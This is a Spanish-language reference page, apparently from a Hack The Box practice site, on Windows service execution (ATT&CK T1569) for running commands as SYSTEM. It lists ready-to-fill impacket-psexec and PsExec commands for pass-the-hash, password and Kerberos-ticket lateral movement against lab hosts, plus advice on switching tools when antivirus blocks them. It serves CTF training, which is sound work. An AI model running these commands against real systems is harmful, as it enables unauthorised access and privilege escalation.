Ejecución de servicios
Subtécnica de T1569 Servicios del sistema ↗
Crear o modificar un servicio de Windows para que ejecute tu comando, normalmente como SYSTEM.
Cómo aparece en Hack The Box
Es lo que hacen psexec y smbexec por debajo: necesitan un administrador local y escritura en ADMIN$. Si el antivirus lo bloquea, prueba wmiexec o WinRM.
Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):
Máquinas para practicarla
Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.
Guías
- Movimiento lateral en Windows: pass-the-hash, pass-the-ticket, WinRM, PsExec y WMI 4 min de lectura Usar una contraseña, un hash NT o un ticket de Kerberos para ejecutar comandos en otras máquinas: evil-winrm, psexec, wmiexec, RDP, golden y silver tickets.
Comandos
Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.
Tus datos
Se guardan en este navegador y se aplican a todas las chuletas.
Escalada en Windows y Active Directory › Windows
Pass-the-hash con psexec
Atacante
impacket-psexec [email protected] -hashes :HASH_NTActive Directory a fondo › Impacket
psexec (SYSTEM)
Atacante
impacket-psexec box.htb/usuario:'Password123!'@10.10.11.20C2 y post-explotación › Movimiento lateral
impacket-psexec
Atacante
impacket-psexec box.htb/usuario:'Password123!'@10.10.11.20
PsExec de Sysinternals (desde Windows)
Víctima
PsExec.exe -accepteula \\10.10.11.20 -u box.htb\\usuario -p 'Password123!' cmdImpacket › Más ejemplos
Usar un ticket de Kerberos (sin contraseña)
export KRB5CCNAME=administrator.ccache
impacket-psexec -k -no-pass box.htb/[email protected]Ningún comando coincide.